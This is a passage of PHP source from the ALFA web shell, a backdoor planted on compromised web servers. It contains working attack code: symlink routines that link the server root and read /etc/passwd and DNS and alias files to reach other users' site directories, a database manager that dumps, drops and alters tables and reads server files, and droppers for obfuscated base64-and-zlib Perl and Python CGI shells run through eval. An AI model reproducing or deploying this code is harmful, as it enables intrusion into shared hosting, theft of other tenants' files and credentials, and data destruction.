ugMdchoeuOqkALJR9gkYJr7owlije6vUXll1oFqyM7GqjcOhU1pZaMwnuDiehVYaCGGQEiw10YAxpPPp/GxLJgFueWPLOv9q5trZIirNaqa9DN4NIWc4vUNdDk4Ieq6VAZQmz9a2XiN5Kp2CvL/NNnL2/hryHsU8f3Jb6gsx0wrDGqW1BnXmktetW6Rh2073mlfTRuNVyodndQm8TWahaDdilVIiWn/Wvo1MKKB0K60pl4qzNFjFSiWBsqr3RE6LlM4IvAkFhEDJT39FBe9srGsieLUz3ooeRByEd3Ir5VC3Bci2+irRI9FszCOS0VzJZCbfha4L5z22/WgtirYGdRBQxy3IeWwC0Alg1nkEAx7yJ4j/hYWs9GTTVbVCMHYMAcw3ghz3eRB76okG1hnOr4walUsLxzWH2gKR2JHdCjShA5/1qNhThSbQnLNwF3L16+DLSd/SCfsrFVowF6iK6rC8MeOGVDqoqnLQR16jwmGgTkduH8cAuxB0IBNnAoG4irCiT8ik4ihsL15Ab6q1WfQUFI72B/X493voyXZ+pmCPe+C3EzvJA3ww/lzbCfnufi+svgE6ELytBZliTZHOr1RyDI+ulbOXxkxVICyOulxnVyuPT00xNCLuFSru7keQLtA+XjXPztIQGRIHghdVkH2L9wSmDQ/w1wHelDNU/CArzRAxXvTN3OmOMoooyVV3II3+Faaq8nBUFBQ6tr1ONTuwzSnepOuG2ygrRXk7hVNhRdTMuv5bAmU6S8rlZe1E6U/7EAH/4H5eHKfSsRAAA=")));'; $py = '#!/usr/bin/python'."\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'\',\'exec\'))'; $cginame = "symperl.alfa"; $source = $perl; $lang = "perl"; if($_POST["alfa2"]=="sympy"){ $cginame = "pysymlink.alfa"; $source = $py; $lang = "python"; } @__write_file($cginame,$source); @chmod($cginame,0755); echo __pre(); $resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true); if(strlen($resource) == 0){ echo AlfaiFrameCreator('cgihaxor/'.$cginame); }else{ echo $resource; } } if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){ if(function_exists('symlink')||_alfa_can_runCommand(true,true)){ AlfaNum(9,10); echo __pre().'

    | Symlink File And Directory |


    '; $path = $_POST['alfa5']; $symname = $_POST['alfa6']; $solevisible58 = $_POST['alfa7']; if($solevisible58){ $new_name = str_replace(".", "_", basename($symname)); $rand_dir = $new_name.rand(111,9999); $sym_dir = 'alfasymlinkphp/'.$rand_dir.'/'; @mkdir($sym_dir, 0777, true); alfacgihtaccess('sym', $sym_dir, $symname); _alfa_symlink("$path","$sym_dir/$symname"); echo __pre(); echo '
    Click >> '.$symname.'
    '; } }else{echo "
    [+] Symlink Function Disabled !
    ";} } if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){ $cant_symlink = true; if(function_exists('symlink')||_alfa_can_runCommand(false,false)){ @mkdir('alfasymlink',0777); alfacgihtaccess('sym','alfasymlink/'); _alfa_symlink('/','alfasymlink/root'); $table_header = "

    "; if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){ echo "
    "; $lines = array(); $anony_domains = array(); $anonymous_users = array(); $f_black = array(); $error = false; $anonymous = false; $makepwd = "/home/{user}/public_html/"; $domains = alfaGetDomains(); $lines = $domains["lines"]; $state = $domains["state"]; $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner"); $can_runcmd = _alfa_can_runCommand(false,false); if(!$is_posix && !$can_runcmd){ $anonymous = true; $anony_domains = $domains["lines"]; $lines = _alfa_file('/etc/passwd'); } echo $table_header; $count=1; $template = '
    '; foreach($lines as $line){ $domain = ""; $owner = ""; if($anonymous){ $explode = explode(":", $line); $owner = $explode[0]; $owner_len = strlen($owner) - 1; $userid = $explode[2]; if((int)$userid < 500)continue; $domain = "[?????]"; $temp_black = array(); $finded = false; foreach($anony_domains as $anony){ if($state == "named.conf"){ if(@strstr($anony, 'zone')){ preg_match_all('#zone "(.*)"#',$anony, $data); $domain = $data[1][0]; }else{ continue; } }elseif($state == "named" || $state == "valiases"){ if($anony == "." || $anony == "..")continue; if($state == "named")$anony = rtrim($anony, ".db"); $domain = $anony; } $sub_domain = str_replace(array("-","."), "", $domain); if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){ if(in_array($owner.$domain, $temp_black))continue; $sympath = str_replace("{user}", $owner, $makepwd); $http = "http://".$domain; echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template); $count++; $temp_black[] = $owner.$domain; $finded = true; } } if(!$finded){ $anonymous_users[] = $owner; } }else{ if($state == "named.conf"){ if(@strstr($line, 'zone')){ preg_match_all('#zone "(.*)"#',$line, $data); $domain = $data[1][0]; }else{ continue; } }elseif($state == "named" || $state == "valiases"){ if($line == "." || $line == "..")continue; if($state == "named")$line = rtrim($line, ".db"); $domain = $line; } if(strlen(trim($domain)) > 2 && $state != "passwd"){ if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue; if($is_posix){ $user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain)); $owner = $user["name"]; }elseif($can_runcmd){ $owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false); } } } if(!$anonymous){ if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue; $sympath = str_replace("{user}", $owner, $makepwd);$http = "http://".$domain; if($state == "passwd"){ $http = "javascript:alert('we cant find domain...')"; } echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template); $count++; $f_black[] = $owner.$domain; } } if($anonymous){ foreach($anonymous_users as $owner){ $sympath = str_replace("{user}", $owner, $makepwd); $http = "javascript:alert('we cant find domain...')"; echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template); $count++; } } $cant_symlink = false; }else{ $is_direct = false; $makepwd = alfaMakePwd(); if(_alfa_file_exists("/etc/virtual/domainowners")){ $makepwd = "/home/{user}/public_html"; $is_direct = true; } $sole = _alfa_file("/etc/virtual/domainowners"); $count=1; echo $table_header; $template = ''; if($sole){ foreach($sole as $visible){ if(@strstr($visible,":")){ $solevisible = explode(':', $visible); $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd); echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template); } } }else{ $passwd = _alfa_file("/etc/passwd"); if($passwd){ $html = ""; $is_named = false; $users = array(); $domains = array(); $uknowns = array(); foreach($passwd as $user){ $user = trim($user); $expl = explode(":", $user); if((int)$expl[2] < 500)continue; $users[$expl[0]] = $expl[5]; } $site_domains = @scandir("/etc/virtual/"); if(!$site_domains){ $site_domains = alfaEx("ls /etc/virtual/"); $site_domains = explode("\n", $site_domains); if(!$site_domains){ $site_domains = _alfa_file("/etc/named.conf"); if($site_domains){$is_named = true;} } } foreach($site_domains as $line){ if($is_named){ if(@strstr($line, 'zone')){ preg_match_all('#zone "(.*)"#',$line, $data); $domain = $data[1][0]; if(strlen($domain > 2) && !empty($domain)){ $domains[] = $domain; } } }else{ $domains[] = $line; } } $x = 1; foreach($users as $user => $home){ foreach($domains as $domain){ $user_len = strlen($user) - 1; $sub_domain = str_replace(array("-","."), "", $domain); $five_user = substr($user, 0,$user_len); $five_domain = substr($sub_domain, 0,$user_len); if($five_user == $five_domain){ if($is_direct){ $cwd = str_replace("{user}", $user, $makepwd); }else{ $expl = explode("}/", $makepwd); $cwd = $home."/".$expl[1]; } $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template); }else{ $uknowns[$user] = $home; } } } $uknowns = array_unique($uknowns); foreach($uknowns as $user => $home){ if($is_direct){ $cwd = str_replace("{user}", $user, $makepwd); }else{ $expl = explode("}/", $makepwd); $cwd = $home."/".$expl[1]; } $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template); } echo($html); } } echo "
    *DomainsUserssymlink
    {count}{domain} {owner}Symlink
    {count}{url} {user}Symlink
    "; $cant_symlink = false; } }else{ echo "
    [+] Symlink Function Disabled !
    "; $cant_symlink = false; } if($cant_symlink)echo '

    Error...
    '; echo "
    "; } echo "
    "; alfafooter(); } function alfasql(){ class DbClass{ public $type; public $link; public $res; public $mysqli_connect_error = false; public $mysqli_connect_error_msg = ""; function __construct($type){ $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type){ case 'mysql': if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){ return true; }else{ $this->mysqli_connect_error = true; $this->mysqli_connect_error_msg = mysqli_connect_error(); return false; } break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db){ switch($this->type){ case 'mysql': if(@mysqli_select_db($db))return true; break; } return false; } function query($str){ switch($this->type){ case 'mysql': return $this->res = @mysqli_query($this->link,$str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch(){ $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type){ case 'mysql': return @mysqli_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs(){ switch($this->type){ case 'mysql': return $this->query("SHOW databases"); break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables(){ switch($this->type){ case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error(){ switch($this->type){ case 'mysql': return @mysqli_error($this->link); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str){ switch($this->type){ case 'mysql': if(function_exists('mysql_set_charset')) return @mysqli_set_charset($this->link,$str); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str){ switch($this->type){ case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table solevisible'); return array('file'=>implode("\n",$r)); break; } return false; } }; $db = new DbClass($_POST['type']); alfahead(); $form_visibility = "table"; if(isset($_POST['sql_host'])){ $connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); if($connection_db && !empty($_POST['sql_base'])){ $form_visibility = "none"; } } $database_list = array(); echo "
    ".($form_visibility!="none"?"
    | Sql Manager |

    ".getConfigHtml('all')."

    ":"")."
    TYPE
    HOST
    DB USER
    DB PASS
    DB NAME
    "; $tmp = ""; if(isset($_POST['sql_host'])){ if($connection_db){ $db->setCharset('utf8'); $db->listDbs(); echo "'; }else{ echo $tmp; } }else echo $tmp; $curr_mysql_id = $_POST['current_mysql_id']; echo "
    count the number of rows
    "; if($db->mysqli_connect_error){ echo '
    '.$db->mysqli_connect_error_msg.'
    '; } if(!empty($curr_mysql_id)){ $sql_title_db = ""; if(!empty($_POST['sql_base'])){ $sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';"; } echo ""; } if(isset($db) && $db->link){ if(!empty($_POST['sql_base'])){ echo "
    <<
    Expand/Collapse All DataBases
      "; foreach ($database_list as $db_name) { echo '
    • Expand/Collapse
      '.$db_name.'
      '; if($db_name == $_POST['sql_base']){ $db->selectdb($_POST['sql_base']); $tbls_res = $db->listTables(); echo '
      • '; while($item = $db->fetch($tbls_res)){ list($key, $value) = each($item); if(!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`')); $value = htmlspecialchars($value); echo "
      •  ".$value."" . (empty($_POST['sql_count'])?' ':" ({$n['n']})") . "
      • "; } echo '
      '; } echo "
    • "; } echo "
    Result
    Query
    Search
    Structure
    Insert
    Query:

    "; } echo "
    "; echo "
    "; }else{ echo htmlspecialchars($db->error()); } echo '
    '; alfafooter(); } function alfaSql_manager_api(){ $db = $_POST["alfa1"]; $type = $_POST["alfa2"]; $sql_count = $_POST["alfa3"] == "true" ? true : false; $db = @json_decode($db, true); $conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]); @mysqli_set_charset($conn, "utf8"); if($conn){ if($type == "load_all_tables"){ $tables = array(); $q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');"); $count = 0; while($row = @mysqli_fetch_assoc($q_tables)){ if($sql_count){ $count_q= @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`'); if($count_q){ $count = @mysqli_fetch_row($count_q); $count = $count[0]; } } $tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count); } foreach($db["databases"] as $db){ if(!isset($tables[$db])){ $tables[$db] = null; } } echo @json_encode($tables); }elseif($type == "dump_drop"){ if($db["mode"] == "drop"){ foreach ($db["tables"] as $table) { @mysqli_query($conn, "DROP TABLE `".$table."`;"); } $tables = array(); $q_tables = @mysqli_query($conn, "SHOW TABLES;"); $count = 0; while($row = @mysqli_fetch_array($q_tables)){ if($sql_count){ $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`'); if($count_q){ $count = @mysqli_fetch_row($count_q); $count = $count[0]; } } $tables[] = array("name" => $row[0], "count" => (int)$count); } echo @json_encode($tables); }else{ if(strlen(alfaEx("mysqldump"))>0){ alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]); }else{ $fp = @fopen($db["dump_file"], "w"); foreach ($db["tables"] as $table) { $res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`'); $create = @mysqli_fetch_array($res); $sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n"; if($fp) fwrite($fp, $sql); else echo($sql); $tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`'); $head = true; while($item = @mysqli_fetch_assoc($tbl_data)){ $columns = array(); foreach($item as $k=>$v) { if($v == null) $item[$k] = "''"; elseif(is_numeric($v)) $item[$k] = $v; else $item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'"; $columns[] = "`".$k."`"; } if($head) { $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; $head = false; } else $sql = "\n\t,(".implode(", ", $item).')'; if($fp) fwrite($fp, $sql); else echo($sql); } if(!$head) if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); } } echo @json_encode(array("status" => true, "file" => $db["dump_file"])); } }elseif($type == "load_tables"){ $tables = array(); $q_tables = @mysqli_query($conn, "SHOW TABLES;"); $count = 0; while($row = @mysqli_fetch_array($q_tables)){ if($sql_count){ $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`'); if($count_q){ $count = @mysqli_fetch_row($count_q); $count = $count[0]; } } $tables[] = array("name" => $row[0], "count" => (int)$count); } echo @json_encode($tables); }elseif($type == "alter"){ $db["alter"]["type"] = strtolower($db["alter"]["type"]); $inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")"; $text_input = array("longtext", "text", "mediumtext", "tinytext"); if(in_array($db["alter"]["type"], $text_input)){ $inputs = $db["alter"]["type"]; } @mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs); $error = @mysqli_error($conn); if($error){ echo $error; }else{ echo "ok"; } }elseif($type == "edit" || $type == "delete" || $type == "delete_all"){ if($type == "edit"){ $q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1"); $row = @mysqli_fetch_assoc($q); if($row){ $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'"); $columns = array(); $edit_data = array(); while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){ $input = array("col_type" => $row2["COLUMN_TYPE"]); $row2["type"] = strtolower($row2["type"]); switch($row2["type"]){ case "longtext": case "text": case "mediumtext": case "tinytext": $input["tag"] = "textarea"; break; case "int": case "smallint": case "bigint": case "tinyint": case "mediumint": $input["tag"] = "input"; $input["type"] = "number"; break; default: $input["tag"] = "input"; $input["type"] = "text"; } $columns[$row2["name"]] = $input; } foreach($row as $key => $v){ $edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]); } echo @json_encode($edit_data); } }else{ if($type == "delete_all"){ $rows = implode("', '", $db["rows"]); }else{ $rows = addslashes($db["key"]); } $query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')"; @mysqli_query($conn, $query); $error = @mysqli_error($conn); if($error){ $status = false; }else{ $status = true; } echo @json_encode(array("status" => $status, "error" => $error, "query" => $query)); } }elseif($type == "update"){ $query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET "; foreach($db["data"] as $col => $val){ $query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',"; } $query = substr($query, 0, -1); $query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'"; $res = @mysqli_query($conn, $query); echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn))); }elseif($type == "insert"){ $query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` "; foreach($db["data"] as $col => $val){ $cols .= $col . ","; $vals .= "'".mysqli_real_escape_string($conn, $val)."',"; } $cols = substr($cols, 0, -1); $vals = substr($vals, 0, -1); $query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")"; $res = @mysqli_query($conn, $query); echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn))); }else{ $pages = 0; $title = false; $query = ""; $tbl_content = ''; $line = 0; $tables = array(); $columns = array(); if($type == "load_data"){ $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30"; $tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`"); $tbl_count = @mysqli_fetch_row($tbl_count_q); $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'"); while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){ $columns[] = $row2; } if($tbl_count[0] > 30){ $pages = ceil($tbl_count[0] / 30); } }elseif($type == "query"){ $query = $db["query"]; }elseif($type == "page"){ $db["page"] = (int)$db["page"] - 1; $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30"; }elseif($type == "search"){ $search = ""; $search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL"); foreach($db["search"] as $col => $val){ $search_noval_r = in_array($val["opt"], $search_noval); if(empty($val["value"]) && !$search_noval_r)continue; if(strstr($val["opt"], "...") || $search_noval_r){ $val["opt"] = str_replace("...", $val["value"], $val["opt"]); $search .= $col . " " . $val["opt"] . " AND "; }else{ $search .= $col . " ". $val["opt"] . " '".addslashes($val["value"])."' AND "; } } $search .= "1=1"; $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search; } $q_tables = @mysqli_query($conn, $query); if(!$q_tables){ echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query)); return false; } $col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'"); if($col_key){ $col_key = @mysqli_fetch_row($col_key); $col_key = $col_key[0]; if(!empty($col_key)){ $tbl_content = '
    '; } }else{ $col_key = false; } while($item = @mysqli_fetch_assoc($q_tables)){ if(!$title){ $tbl_content .= ''; if($col_key){ $tbl_content .= ''; } foreach($item as $key => $value){ $tbl_content .= ''; } reset($item); $title=true; $tbl_content .= ''; } if($col_key){ $cacheMsg = ''; } $tbl_content .= ''.$cacheMsg; $line++; foreach($item as $key => $value){ if($value == null){ $tbl_content .= ''; }else{ $tbl_content .= ''; } } $tbl_content .= ''; } $tbl_content .= '
    EditDelete'.$key.'
    EditDelete
    null'.nl2br(htmlspecialchars($value)).'
    '; if(!$title){ $tbl_content = "
    Table is empty...
    "; } echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query)); } @mysqli_close($conn); } } function alfaselfrm(){ if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){ echo(__pre().'
    '); if(@unlink($GLOBALS['__file_path'])){ echo('Shell has been removed :)'); }else{ echo 'unlink error!'; } echo('
    '); } if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){ echo "
    "; echo "

    "; echo '

    Do you want to destroy me :( ?!
    Yes'; echo '

    '; } } function alfacgishell(){ alfahead(); $div = ""; alfaCreateParentFolder(); @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__); if(!in_array($_POST['alfa1'],array('perl','py'))){ $div = "
    "; echo '

    | CGI Shell |

    | Perl | | Python | '; } if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){ @mkdir('cgihaxor',0755); @chdir('cgihaxor'); alfacgihtaccess('cgi'); $name = $_POST['alfa1'].'.haxor'; $perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl/M4gtUekF8u45vDO5DB/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7/OjritQLES4YOAY5udx2sQh/VGrR3qjVl/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g/enE3GZ5Pp5Lfzsb4hzp/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM//N2fDmZno4nr98cAg/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU/GZ68mr/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5/hT2SVy0jxwdZKYr18/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU/fQrOKQES/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2/OTN/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw/jLMGsSKhpbEsIPe1//fLjhtRh